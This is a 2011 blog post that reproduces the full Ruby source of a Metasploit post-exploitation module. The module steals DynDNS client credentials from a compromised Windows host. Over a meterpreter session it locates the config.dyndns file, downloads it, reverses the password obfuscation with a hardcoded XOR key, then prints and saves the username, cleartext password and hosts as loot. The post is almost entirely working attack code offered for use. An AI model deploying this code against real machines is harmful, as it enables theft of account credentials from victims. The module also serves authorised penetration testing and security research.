Thursday, November 10, 2011

Metasploit - DynDNS Password Extractor

Module Description

This module extracts account password from DynDNS client version 4.1.8  It automatically enumerates through the account files used by DynDNS on the system and then dumps the username & decoded password in clear text.

Module Code

Here is the complete Metasploit code for this module.
##
#$Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Post

include Msf::Auxiliary::Report

def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather Dyn-Dns Client Password Extractor',
'Description' => %q{
This module extracts the username, password, and hosts for Dyn-Dns version 4.1.8.
This is done by downloading the config.dyndns file from the victim machine, and then
automatically decode the password field. The original copy of the config file is also
saved to disk.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Shubham Dawra <shubham2dawra[at]gmail.com>', #SecurityXploded.com
'sinn3r', #Lots of code rewrite
],
'Version' => '$Revision$',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end


#
# Search for the config file.
# Return the config file path, otherwise nil to indicate nothing was found
#
def get_config_file
config_paths =
[
"C:\\ProgramData\\Dyn\\Updater\\", #Vista
"C:\\Documents and Settings\\All Users\\Application Data\\Dyn\\Updater\\" #XP and else
]

# Give me the first match
config_file = nil
config_paths.each do |p|
tmp_path = p + "config.dyndns"
begin
f = session.fs.file.stat(tmp_path)
config_file = tmp_path
break #We've found a valid one, break!
rescue
end
end

return config_file
end


#
# Download the config file, and then load it up in memory.
# Return the content.
#
def load_config_file(config_file)
f = session.fs.file.new(config_file, "rb")
content = ''
until f.eof?
content << f.read
end
p = store_loot("dyndns.raw", "text/plain", session.tunnel_peer, "dyndns_raw_config.dyndns")
vprint_status("Raw config file saved: #{p.to_s}")
return content
end


#
# Parse the data
# Return: Hash { :username, :pass, :hosts }
#
def parse_config(content)
# Look at each line for user/pass/host
config_data = {}
user = content.scan(/Username=([\x21-\x7e]+)/)[0][0]
pass = content.scan(/Password=([\x21-\x7e]+)/)[0][0]
host = content.scan(/Host\d=([\x21-\x7e]+)/)[0]

# Let's decode the pass
pass = decode_password(pass) if not pass.nil?

# Store data in a hash, save it to the array
# Might contain nil if nothing was regexed
config_data = {
:user => user,
:pass => pass,
:hosts => host
}

return config_data
end


#
# Decode the password
#
def decode_password(pass)
pass = [pass].pack('H*')
s = ''
c = 0

pass.each_byte do |a1|
a2 = "t6KzXhCh"[c, 1].unpack('c')[0].to_i
s << (a1 ^ a2).chr
c = ((c+1)%8)
end

return s
end


#
# Print results and storeloot
#
def do_report(data)
tbl = Rex::Ui::Text::Table.new(
'Header' => 'DynDNS Client Data',
'Indent' => 1,
'Columns' => ['Field', 'Value']
)

# Store username/password
tbl << ['Username', data[:user]]
tbl << ['Password', data[:pass]]

# Store all found hosts
hosts = data[:hosts]
hosts.each do |host|
tbl << ['Host', host]
end

print_status(tbl.to_s)

if not tbl.rows.empty?
p = store_loot(
'dyndns.data',
'text/plain',
session,
tbl,
'dyndns_data.txt',
'DynDNS Client Data'
)
print_status("Parsed data stored in: #{p.to_s}")
end
end


#
# Main function, duh
#
def run
# Find the config file
config_file = get_config_file
if config_file.nil?
print_error("No config file found, will not continue")
return
end

# Load the config file
print_status("Downloading config.dyndns...")
content = load_config_file(config_file)

if content.empty?
print_error("Config file seems empty, will not continue")
return
end

# Get parsed data
config = parse_config(content)

# Store data
do_report(config)
end

end


Here is the Metasploit download link to this module.













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